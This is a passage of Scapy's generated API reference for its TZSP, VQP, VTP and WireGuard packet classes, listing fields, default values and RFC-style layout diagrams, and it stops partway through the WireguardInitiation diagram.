get_encapsulated_payload_class()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L91-L102]

	get the class that holds the encapsulated payload of the TZSP packet
:return: class representing the payload, Raw() on error






	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L104-L111]

	








	
exception scapy.contrib.tzsp.TZSPStructureException[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L219-L220]

	Bases: Scapy_Exception






	
class scapy.contrib.tzsp.TZSPTagContentionFree(_pkt, /, *, type=15, len=1, contention_free=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L369-L380]

	Bases: _TZSPTag

packet received in contention free period


	
NO = 0

	




	
YES = 1

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |CONTENTION FREE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TZSPTagContentionFree                    


TZSPTagContentionFree fields






	type

	ByteEnumField

	15



	len

	ByteField

	1



	contention_free

	YesNoByteField

	0















	
class scapy.contrib.tzsp.TZSPTagDataRate(_pkt, /, *, type=12, len=1, data_rate=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L305-L355]

	Bases: _TZSPTag

wireless link data rate


	
DATA_RATES = {0: 'unknown', 2: '1 MB/s', 4: '2 MB/s', 10: '1 MB/s (legacy)', 11: '5.5 MB/s', 12: '6 MB/s', 18: '9 MB/s', 20: '2 MB/s (legacy)', 22: '11 MB/s', 24: '12 MB/s', 36: '18 MB/s', 44: '22 MB/s', 48: '24 MB/s', 55: '5.5 MB/s (legacy)', 66: '33 MB/s', 72: '36 MB/s', 96: '48 MB/s', 108: '54 MB/s', 110: '11 MB/s (legacy)'}

	




	
DATA_RATE_1 = 2

	




	
DATA_RATE_11 = 22

	




	
DATA_RATE_12 = 24

	




	
DATA_RATE_18 = 36

	




	
DATA_RATE_2 = 4

	




	
DATA_RATE_22 = 44

	




	
DATA_RATE_24 = 48

	




	
DATA_RATE_33 = 66

	




	
DATA_RATE_36 = 72

	




	
DATA_RATE_48 = 96

	




	
DATA_RATE_54 = 108

	




	
DATA_RATE_5_5 = 11

	




	
DATA_RATE_6 = 12

	




	
DATA_RATE_9 = 18

	




	
DATA_RATE_LEGACY_1 = 10

	




	
DATA_RATE_LEGACY_11 = 110

	




	
DATA_RATE_LEGACY_2 = 20

	




	
DATA_RATE_LEGACY_5_5 = 55

	




	
DATA_RATE_UNKNOWN = 0

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |   DATA RATE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TZSPTagDataRate                       


TZSPTagDataRate fields






	type

	ByteEnumField

	12



	len

	ByteField

	1



	data_rate

	ByteEnumField

	0















	
class scapy.contrib.tzsp.TZSPTagDecrypted(_pkt, /, *, type=16, len=1, decrypted=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L383-L394]

	Bases: _TZSPTag

packet was decrypted


	
NO = 1

	




	
YES = 0

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |   DECRYPTED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. TZSPTagDecrypted                       


TZSPTagDecrypted fields






	type

	ByteEnumField

	16



	len

	ByteField

	1



	decrypted

	YesNoByteField

	1















	
class scapy.contrib.tzsp.TZSPTagEnd(_pkt, /, *, type=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L232-L258]

	Bases: Packet

last tag


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |
+-+-+-+-+-+-+-+-+

                         Fig. TZSPTagEnd                          


TZSPTagEnd fields






	type

	ByteEnumField

	1











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L240-L258]

	the type of the payload encapsulation is given be the outer TZSP layers attribute encapsulation_protocol  # noqa: E501










	
class scapy.contrib.tzsp.TZSPTagError(_pkt, /, *, type=17, len=1, fcs_error=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L397-L408]

	Bases: _TZSPTag

frame checksum error


	
NO = 0

	




	
YES = 1

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |   FCS ERROR   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. TZSPTagError                         


TZSPTagError fields






	type

	ByteEnumField

	17



	len

	ByteField

	1



	fcs_error

	YesNoByteField

	0















	
class scapy.contrib.tzsp.TZSPTagPacketCount(_pkt, /, *, type=40, len=4, packet_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L422-L430]

	Bases: _TZSPTag

packet counter


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |          PACKET COUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TZSPTagPacketCount                      


TZSPTagPacketCount fields






	type

	ByteEnumField

	40



	len

	ByteField

	4



	packet_count

	IntField

	0















	
class scapy.contrib.tzsp.TZSPTagPadding(_pkt, /, *, type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L223-L229]

	Bases: _TZSPTag

padding tag (should be ignored)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |
+-+-+-+-+-+-+-+-+

                       Fig. TZSPTagPadding                        


TZSPTagPadding fields






	type

	ByteEnumField

	0















	
class scapy.contrib.tzsp.TZSPTagRXChannel(_pkt, /, *, type=18, len=1, rx_channel=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L411-L419]

	Bases: _TZSPTag

channel the sensor was on while receiving the frame


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |   RX CHANNEL  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. TZSPTagRXChannel                       


TZSPTagRXChannel fields






	type

	ByteEnumField

	18



	len

	ByteField

	1



	rx_channel

	ByteField

	0















	
class scapy.contrib.tzsp.TZSPTagRXFrameLength(_pkt, /, *, type=41, len=2, rx_frame_length=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L433-L441]

	Bases: _TZSPTag

received packet length


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |        RX FRAME LENGTH        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. TZSPTagRXFrameLength                     


TZSPTagRXFrameLength fields






	type

	ByteEnumField

	41



	len

	ByteField

	2



	rx_frame_length

	ShortField

	0















	
class scapy.contrib.tzsp.TZSPTagRawRSSIByte(_pkt, /, *, type=10, len=1, raw_rssi=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L261-L269]

	Bases: _TZSPTag

relative received signal strength - signed byte value


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |    RAW RSSI   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TZSPTagRawRSSIByte                      


TZSPTagRawRSSIByte fields






	type

	ByteEnumField

	10



	len

	ByteField

	1



	raw_rssi

	ByteField

	0















	
class scapy.contrib.tzsp.TZSPTagRawRSSIShort(_pkt, /, *, type=10, len=2, raw_rssi=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L272-L280]

	Bases: _TZSPTag

relative received signal strength - signed short value


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |            RAW RSSI           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. TZSPTagRawRSSIShort                     


TZSPTagRawRSSIShort fields






	type

	ByteEnumField

	10



	len

	ByteField

	2



	raw_rssi

	ShortField

	0















	
class scapy.contrib.tzsp.TZSPTagSNRByte(_pkt, /, *, type=11, len=1, snr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L283-L291]

	Bases: _TZSPTag

signal noise ratio - signed byte value


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |      SNR      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TZSPTagSNRByte                        


TZSPTagSNRByte fields






	type

	ByteEnumField

	11



	len

	ByteField

	1



	snr

	ByteField

	0















	
class scapy.contrib.tzsp.TZSPTagSNRShort(_pkt, /, *, type=11, len=2, snr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L294-L302]

	Bases: _TZSPTag

signal noise ratio - signed short value


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              SNR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TZSPTagSNRShort                       


TZSPTagSNRShort fields






	type

	ByteEnumField

	11



	len

	ByteField

	2



	snr

	ShortField

	0















	
class scapy.contrib.tzsp.TZSPTagTimestamp(_pkt, /, *, type=13, len=4, timestamp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L358-L366]

	Bases: _TZSPTag

MAC receive timestamp


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |           TIMESTAMP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. TZSPTagTimestamp                       


TZSPTagTimestamp fields






	type

	ByteEnumField

	13



	len

	ByteField

	4



	timestamp

	IntField

	0















	
class scapy.contrib.tzsp.TZSPTagUnknown(_pkt, /, *, type=255, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L455-L463]

	Bases: _TZSPTag

unknown tag type dummy


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. TZSPTagUnknown                        


TZSPTagUnknown fields






	type

	ByteField

	255



	len

	FieldLenField

	None



	data

	XStrLenField

	b''















	
class scapy.contrib.tzsp.TZSPTagWlanRadioHdrSerial(_pkt, /, *, type=60, len=None, sensor_id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/tzsp.py#L444-L452]

	Bases: _TZSPTag

(vendor specific) unique capture device (sensor/AP) identifier


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |           SENSOR ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TZSPTagWlanRadioHdrSerial                  


TZSPTagWlanRadioHdrSerial fields






	type

	ByteEnumField

	60



	len

	FieldLenField

	None



	sensor_id

	StrLenField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.vqp


	
class scapy.contrib.vqp.VQP(_pkt, /, *, const=1, type=1, errorcodeaction=0, unknown=2, seq=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vqp.py#L23-L39]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CONST     |      TYPE     |ERRORCODEACTION|    UNKNOWN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. VQP                             


VQP fields






	const

	ByteField

	1



	type

	ByteEnumField

	1



	errorcodeaction

	ByteEnumField

	0



	unknown

	ByteEnumField

	2



	seq

	IntField

	0











	
payload_guess

	Possible sublayers:
VQPEntry










	
class scapy.contrib.vqp.VQPEntry(_pkt, /, *, datatype=0, len=None, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vqp.py#L42-L61]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DATATYPE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. VQPEntry                           


VQPEntry fields






	datatype

	IntEnumField

	0



	len

	FieldLenField

	None



	data

	MultipleTypeField (IPField, MACField, StrLenField)

	None











	
payload_guess

	Possible sublayers:
VQPEntry












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.vtp


VTP Scapy Extension


	version:

	2009-02-15



	copyright:

	2009 by Jochen Bartl



	e-mail:

	lobo@c3a.de / jochen.bartl@gmail.com



	license:

	GPL v2

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.



	TODO:

	
	Join messages


	RE MD5 hash calculation


	Have a closer look at 8 byte padding in summary adv:


“debug sw-vlan vtp packets” says the TLV length is invalid,
when I change the values:

b'\x00\x00\x00\x01\x06\x01\x00\x02'


	x00x00 ?


	x00x01 tlvtype?


	x06 length?


	x00x02 value?









	h2i function for VTPTimeStampField






	References:

	
	
Understanding VLAN Trunk Protocol (VTP)

http://www.cisco.com/en/US/tech/tk389/tk689/technologies_tech_note09186a0080094c52.shtml  # noqa: E501













	
class scapy.contrib.vtp.VTP(_pkt, /, *, ver=2, code=1, followers=1, seq=1, reserved=0, domnamelen=None, domname=b'manbearpig', rev=0, uid='192.168.0.1', timestamp=b'930301000000', md5=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', vlaninfo=[], startvalue=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vtp.py#L150-L187]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      VER      |      CODE     |   FOLLOWERS   |      SEQ      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |   DOMNAMELEN  |            DOMNAME            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              REV              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              UID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           TIMESTAMP           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              MD5              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            VLANINFO           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STARTVALUE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. VTP                             


VTP fields






	ver

	ByteField

	2



	code

	ByteEnumField

	1



	followers

	ByteField (Cond)

	1



	seq

	ByteField (Cond)

	1



	reserved

	ByteField (Cond)

	0



	domnamelen

	ByteField

	None



	domname

	StrFixedLenField

	b'manbearpig'



	rev

	SignedIntField (Cond)

	0



	uid

	IPField (Cond)

	'192.168.0.1'



	timestamp

	VTPTimeStampField (Cond)

	b'930301000000'



	md5

	StrFixedLenField (Cond)

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	vlaninfo

	PacketListField (Cond)

	[]



	startvalue

	ShortField (Cond)

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vtp.py#L180-L187]

	








	
class scapy.contrib.vtp.VTPTimeStampField(name, default)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vtp.py#L142-L147]

	Bases: StrFixedLenField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vtp.py#L146-L147]

	








	
class scapy.contrib.vtp.VTPVlanInfo(_pkt, /, *, len=None, status=0, type=1, vlannamelen=None, vlanid=1, mtu=1500, dot10index=None, vlanname=b'default', tlvlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vtp.py#L93-L131]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |     STATUS    |      TYPE     |  VLANNAMELEN  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             VLANID            |              MTU              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           DOT10INDEX                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VLANNAME           |            TLVLIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. VTPVlanInfo                         


VTPVlanInfo fields






	len

	ByteField

	None



	status

	ByteEnumField

	0



	type

	ByteEnumField

	1



	vlannamelen

	FieldLenField

	None



	vlanid

	ShortField

	1



	mtu

	ShortField

	1500



	dot10index

	XIntField

	None



	vlanname

	StrLenField

	b'default'



	tlvlist

	PacketListField (Cond)

	[]











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vtp.py#L130-L131]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vtp.py#L114-L128]

	








	
class scapy.contrib.vtp.VTPVlanInfoTlv(_pkt, /, *, type=0, length=0, value=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vtp.py#L81-L90]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     LENGTH    |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. VTPVlanInfoTlv                        


VTPVlanInfoTlv fields






	type

	ByteEnumField

	0



	length

	ByteField

	0



	value

	StrLenField

	None











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/vtp.py#L89-L90]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.wireguard

WireGuard Module
Implements the WireGuard network tunnel protocol.
Based on the whitepaper: https://www.wireguard.com/papers/wireguard.pdf


	
class scapy.contrib.wireguard.Wireguard(_pkt, /, *, message_type=1, reserved_zero=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/wireguard.py#L19-L36]

	Bases: Packet

Wrapper that only contains the message type.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  MESSAGE TYPE |                 RESERVED ZERO                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. Wireguard                          


Wireguard fields






	message_type

	ByteEnumField

	1



	reserved_zero

	ThreeBytesField

	0











	
payload_guess

	Possible sublayers:
WireguardCookieReply, WireguardInitiation, WireguardResponse, WireguardTransport










	
class scapy.contrib.wireguard.WireguardCookieReply(_pkt, /, *, receiver_index=0, nonce=0, encrypted_cookie=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/wireguard.py#L75-L82]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         RECEIVER INDEX                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NONCE                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        ENCRYPTED COOKIE                       |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. WireguardCookieReply                     


WireguardCookieReply fields






	receiver_index

	XLEIntField

	0



	nonce

	XStrFixedLenField

	0



	encrypted_cookie

	XStrFixedLenField

	0















	
class scapy.contrib.wireguard.WireguardInitiation(_pkt, /, *, sender_index=0, unencrypted_ephemeral=0, encrypted_static=0, encrypted_timestamp=0, mac1=0, mac2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/wireguard.py#L39-L49]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          SENDER INDEX                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     UNENCRYPTED EPHEMERAL                     |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
